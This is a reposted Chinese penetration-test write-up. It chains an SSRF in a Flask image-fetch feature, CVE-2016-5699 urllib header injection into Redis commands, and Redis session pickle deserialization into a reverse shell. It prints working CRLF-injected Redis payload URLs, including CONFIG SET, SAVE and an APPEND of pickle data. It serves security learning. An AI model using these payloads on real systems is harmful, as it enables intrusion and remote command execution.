热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】Python安全从SSRF到命令执行惨案

作者:ph17h0n@leavesongs.com前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞。以前乌云上有很多从SSRF打到内网并执行命令的案例

https://img8.php1.cn/3cdc5/18bc4/78c/4c8e1f42e8723fdf.jpeg

作者:ph17h0n@leavesongs.com

前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞。

以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典。不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面找到了很多有趣的东西。截图不多(有的是后面补得),大家凑合看吧。

0x01 判断SSRF漏洞

目标example.com,根据其中csrf_token的样式,我猜测其为flask开发(当然也可能是一个我不太熟悉的框架使用了和flaskwtf相似的代码):

http://p9.qhimg.com/t01d73ae2a8132d1ba8.png

开着代理浏览了一遍整个网站的功能,功能点不多,比较小众的一个分享型站点。偶然间在数据包里看到url=,看了一下发现是一个本地化外部图片这么一个功能。这种功能很容易出现两种漏洞:

SSRF漏洞

XSS漏洞

SSRF漏洞就不用多说了,在拉取外部资源的时候没有检查URL,导致可以向内网发送请求;XSS漏洞容易被忽略,拉取到目标后储存的时候没有过滤特殊字符,就可能导致XSS漏洞。

简单fuzz一下,依次访问http://127.0.0.1:80/、http://127.0.0.1:80/404404404not_found、http://127.0.0.1:12321/

http://p2.qhimg.com/t01b64244ea527c3372.png

http://p9.qhimg.com/t0102ef1108089c914f.png

http://p4.qhimg.com/t01d0f956bf34b1aad9.png

依次返回了error和两个500,这三个结果分别代表什么?

因为平时做Python开发比较多,这种500的情况也见的比较多,通常是因为代码没有捕捉异常导致返回500。感觉第二个可能是HTTP请求404导致抛出异常,而第三个可能是TCP连接被拒绝(12321端口未开放)导致抛出异常。

虽然我还没理清目标的代码逻辑,但我能肯定这其中存在SSRF漏洞。

0x02 鸡肋redis服务?

经过简单的测试,我发现目标站点下载外部资源后,会检查资源类型是否是图片,不是图片则返回error。这样就很尴尬了,这是一个没有回显的SSRF漏洞。

这时候我突然想到,既然是判断图片,会不会是用imagemagick组件来判断的?然后我将imagetragick的POC保存到外网的某个poc.gif里,然后让其访问:

http://p9.qhimg.com/t018f6319ec144b18be.png

直接把内容返回了,没出现error,也没500,但命令也没执行成功。

当时没想清楚目标究竟是怎么判断图片的,后来拿到shell以后看了源码才知道:目标是判断返回包的content-type,如果不是图片就直接返回error,我想的太复杂了。

imagemagick这条路死了,我就没再研究这块逻辑。因为我不知道目标内网IP段,所以准备先探测一下127.0.0.1的端口,我列了一些常用端口,用Burp跑了一下:

http://p0.qhimg.com/t01f4c7c4736903839b.png

看到6379是200的时候,我着实激动了一下,众所周知,在渗透中遇到redis是一件很愉快的事情。

不过我很快发现,GET请求我没法控制Redis的命令。

科普一下,Redis的协议是简单的文本流,比如我可以向6379端口发送如下TCP流:

SET x 1

SET y 2

每行代表一个命令,上述数据包执行了两条set命令。但现在尴尬的是,普通GET请求的数据包如下:

GET / HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

我控制不了任意一行的起始部分,也就没法自定义redis命令了,非常鸡肋……

0x03 CVE-2016-5699 化腐朽为神奇

真的鸡肋么?

去年,Python的urllib库曾出过一个头注入的漏洞,CVE-2016-5699( http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html )

因为在CTF里有过类似的思路,所以我基本第一时间就想到了。我在外网服务器用nc开了个端口,在目标web页面传入http://[vps-ip]%0d%0aX-injected:%20header:12345/foo,发现果然注入成功了:

http://p9.qhimg.com/t01654256b6586d15bb.png

有点小激动,因为之前只是听说过这个漏洞,没有真实案例的依托,这次真遇到了。如果我们能注入HTTP头,也就能控制发送往Redis的数据包的某一行,这样就能执行任意Redis命令了。

有点怕影响目标站,我先在本地搭了个类似的环境。

攻击Redis有几个思路,核心就在于写文件。在本地测试,发现了几个巨坑:

CONFIG SET dir /tmp,传递斜线/的时候必须进行二次编码(%252f),否则urllib2会抛出URLError: 的异常。

url过长会导致抛出UnicodeError: label empty or too long的异常,所以我需要依次传入CONFIG SET、SAVE等几个命令。

最后,我依次发送http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%252ftmp%0d%0a:6379/foo、http://127.0.0.1%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo、http://127.0.0.1%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo,最后成功在本地写入/tmp/evil文件。

http://p9.qhimg.com/t016e3ed582579766d9.png

不过目标环境就有点蛋疼了,一是完全没有回显,我无法知道我是否写入成功;二是失败原因我无法预测,有可能是redis有密码,或redis是普通权限,或config set命令被禁用等等。

感觉又是一个比较蛋疼和鸡肋的情境。

0x04 Python反序列化逆袭

果然在线上环境尝试写入cron文件,都没成功反弹回shell。

在这个地方卡了很久,思路一直在考虑“是否真的成功写入文件”这个问题,如果“成功写入了文件”,为什么没有反弹到shell;如果没有成功写入文件,是不是没有权限,是否可以写入python的webshell?总结起来有几个思路:

写入ssh key进行getshell。但扫端口发现似乎并没有开放22,推测是更换了ssh端口并进行的IP限制,或者直接没有运行sshd。

写入cron尝试反弹shell,但没成功。也许是redis没权限,也许是因为目标是ubuntu或debian,这两个系统对于cron文件格式限制会比较严,很难用redis反弹shell。

写入python的webshell,但可能也会遇到文件格式要求过严导致python运行失败,而且通常写入python脚本需要重启服务器才能奏效

写入jinja2模板文件,并通过模板引擎支持的语法执行命令。

总结起来,第4个方法最靠谱,因为模板文件对格式要求不严,只要我需要执行的语句放在类似{{ }}的标签中即可。但经过测试,还是有几个问题:一是web路径(关键是存放模板文件的路径)和模板名称都需要猜,这个太难;二是redis如果是从源进行安装,一般是redis用户运行,一般无法写入web目录。

吃个夜宵再回来想想,我觉得首先得解决“是否真的成功写入文件”这个问题。后面fuzz了一下,测试了一堆目录,发现成功在/var/www/html/static下写入了文件,并通过http://example.com/static/xxxfile直接可以访问!

下载刚写入的文件,其实这个文件即为redis的导出文件。我将之导入到自己本地的redis环境中,又是一个惊喜:

http://p5.qhimg.com/t01e1bc192e977491f2.png

看到这个样式的数据,我就知道这一定是反序列化数据,而且是Python2.7的反序列化数据。

这里科普一下,Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含x00的一般是3.5使用的。

后续利用就和 https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 这篇文章一个套路。目标站使用redis存储session数据,且session数据使用序列化保存,我们可以通过反序列化来执行任意命令。

使用python2.7构造一个执行反弹shell脚本的序列化数据,并通过SSRF漏洞设置成session:hacker的值,然后访问目标站点的时候设置COOKIE session=hacker。

不过有一点需要注意,就是SSRF时URL太长的话会抛出错误(之前本地测试的时候说过),所以需要曲线救国,使用redis的append命令,将数据一段一段写入,类似于这样:

http://p8.qhimg.com/t01c4b8073e5fdc1306.png

另外还有个坑,写入的时候,特殊字符(如换行)需要转义:http://127.0.0.1%0d%0aAPPEND%20session:hacker%20"(S'id'np1ntp2nRp3n."%0d%0aSAVE%0d%0a:6379/,而且只有值被引号包裹时转义符才能转义,否则转义符又会被转义……这个把我坑了好久,差点就以为功亏一篑了。

最后感觉,挖漏洞思路还是得跳,之前一直在考虑怎么通过redis写文件来进行getshell,却没想到通过读取redis的备份文件,找到了突破口。

成功反弹shell:

http://p6.qhimg.com/t013a5ddc2419b46c77.png

总结

这一次案例,出现漏洞的根本原因有几个:

Web层面出现SSRF漏洞

Python版本过低,存在CVE-2016-5699头注入漏洞

Redis版本过低,新版Redis写入的文件权限一般是660,可以极大程度上避免写文件造成的漏洞

拿到shell以后我看了下源码,其逻辑是这样:获取用户传入的url参数,直接发送HTTP请求并拿到返回对象,判断返回对象的Content-Type是否包含image,如果包含则离线数据并显示出来,否则返回error。

这就导致HTTP请求一旦出现错误,服务器就会抛出500,而返回error是手工判断的结果,所以状态码还是200。

另外还有个感想,我怕把目标环境搞坏了,整个过程中多次用到了本地环境进行测试,而所有本地环境都是用docker启动的 ,非常方便。

之后我应该会模拟一下这个目标,做一个vulhub环境给大家,有时间再说吧……


推荐阅读
  • 深入解析Tomcat:开发者的实用指南
    深入解析Tomcat:开发者的实用指南 ... [详细]
  • 在基于.NET框架的分层架构实践中,为了实现各层之间的松散耦合,本文详细探讨了依赖注入(DI)和控制反转(IoC)容器的设计与实现。通过合理的依赖管理和对象创建,确保了各层之间的单向调用关系,从而提高了系统的可维护性和扩展性。此外,文章还介绍了几种常见的IoC容器实现方式及其应用场景,为开发者提供了实用的参考。 ... [详细]
  • 解决基于XML配置的MyBatis在Spring整合中出现“无效绑定语句(未找到):com.music.dao.MusicDao.findAll”问题的方法
    在将Spring与MyBatis进行整合时,作者遇到了“无效绑定语句(未找到):com.music.dao.MusicDao.findAll”的问题。该问题主要出现在使用XML文件配置DAO层的情况下,而注解方式配置则未出现类似问题。作者详细分析了两个配置文件之间的差异,并最终找到了解决方案。本文将详细介绍问题的原因及解决方法,帮助读者避免类似问题的发生。 ... [详细]
  • 基于Node.js的高性能实时消息推送系统通过集成Socket.IO和Express框架,实现了高效的高并发消息转发功能。该系统能够支持大量用户同时在线,并确保消息的实时性和可靠性,适用于需要即时通信的应用场景。 ... [详细]
  • 本文深入解析了 Apache 配置文件 `httpd.conf` 和 `.htaccess` 的优化方法,探讨了如何通过合理配置提升服务器性能和安全性。文章详细介绍了这两个文件的关键参数及其作用,并提供了实际应用中的最佳实践,帮助读者更好地理解和运用 Apache 配置。 ... [详细]
  • 掌握PHP框架开发与应用的核心知识点:构建高效PHP框架所需的技术与能力综述
    掌握PHP框架开发与应用的核心知识点对于构建高效PHP框架至关重要。本文综述了开发PHP框架所需的关键技术和能力,包括但不限于对PHP语言的深入理解、设计模式的应用、数据库操作、安全性措施以及性能优化等方面。对于初学者而言,熟悉主流框架如Laravel、Symfony等的实际应用场景,有助于更好地理解和掌握自定义框架开发的精髓。 ... [详细]
  • 本课程详细解析了Spring AOP的核心概念及其增强机制,涵盖前置增强、后置增强和环绕增强等类型。通过具体示例,深入探讨了如何在实际开发中有效运用这些增强技术,以提升代码的模块化和可维护性。此外,还介绍了Spring AOP在异常处理和性能监控等场景中的应用,帮助开发者更好地理解和掌握这一强大工具。 ... [详细]
  • 在Python编程中,探讨了并发与并行的概念及其区别。并发指的是系统同时处理多个任务的能力,而并行则指在同一时间点上并行执行多个任务。文章详细解析了阻塞与非阻塞操作、同步与异步编程模型,以及IO多路复用技术的应用。通过模拟socket发送HTTP请求的过程,展示了如何创建连接、发送数据和接收响应,并强调了默认情况下socket的阻塞特性。此外,还介绍了如何利用这些技术优化网络通信性能和提高程序效率。 ... [详细]
  • 本文深入探讨了ASP.NET中ViewState、Cookie和Session三种状态管理技术的区别与应用场景。ViewState主要用于保存页面控件的状态信息,确保在多次往返服务器过程中数据的一致性;Cookie则存储在客户端,适用于保存少量用户偏好设置等非敏感信息;而Session则在服务器端存储数据,适合处理需要跨页面保持的数据。文章详细分析了这三种技术的工作原理及其优缺点,并提供了实际应用中的最佳实践建议。 ... [详细]
  • 通过整合JavaFX与Swing,我们成功地将现有的Swing应用程序组件进行了现代化改造。此次升级不仅提升了用户界面的美观性和交互性,还确保了与原有Swing应用程序的无缝集成,为开发高质量的Java桌面应用提供了坚实的基础。 ... [详细]
  • 本文详细探讨了Java集合框架的使用方法及其性能特点。首先,通过关系图展示了集合接口之间的层次结构,如`Collection`接口作为对象集合的基础,其下分为`List`、`Set`和`Queue`等子接口。其中,`List`接口支持按插入顺序保存元素且允许重复,而`Set`接口则确保元素唯一性。此外,文章还深入分析了不同集合类在实际应用中的性能表现,为开发者选择合适的集合类型提供了参考依据。 ... [详细]
  • 使用 MyEclipse 和 TestNG 测试框架在 Java 中高效进行单元测试
    通过MyEclipse集成TestNG测试框架,可以在Java开发中高效地进行单元测试。本文介绍了在JDK 1.8.0_121和MyEclipse 10.0离线环境下配置和使用TestNG的具体步骤,帮助开发者提高测试效率和代码质量。 ... [详细]
  • 优化后的标题:PHP分布式高并发秒杀系统设计与实现
    PHPSeckill是一个基于PHP、Lua和Redis构建的高效分布式秒杀系统。该项目利用php_apcu扩展优化性能,实现了高并发环境下的秒杀功能。系统设计充分考虑了分布式架构的可扩展性和稳定性,适用于大规模用户同时访问的场景。项目代码已开源,可在Gitee平台上获取。 ... [详细]
  • 本文将介绍一种扩展的ASP.NET MVC三层架构框架,并通过使用StructureMap实现依赖注入,以降低代码间的耦合度。该方法不仅能够提高代码的可维护性和可测试性,还能增强系统的灵活性和扩展性。通过具体实践案例,详细阐述了如何在实际开发中有效应用这一技术。 ... [详细]
  • Angular 2 中组件间通信的多种方法与实践
    在Angular 2中,组件间的通信是开发过程中不可或缺的一部分。本文将详细介绍多种实现组件间通信的方法,并结合实际案例进行实践分析。通过这些方法,开发者可以更加高效地管理组件之间的数据传递和状态同步,提升应用的整体性能和可维护性。文中还将探讨每种方法的优缺点及其适用场景,帮助读者在实际项目中做出最佳选择。 ... [详细]
author-avatar
五味子120的马甲
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有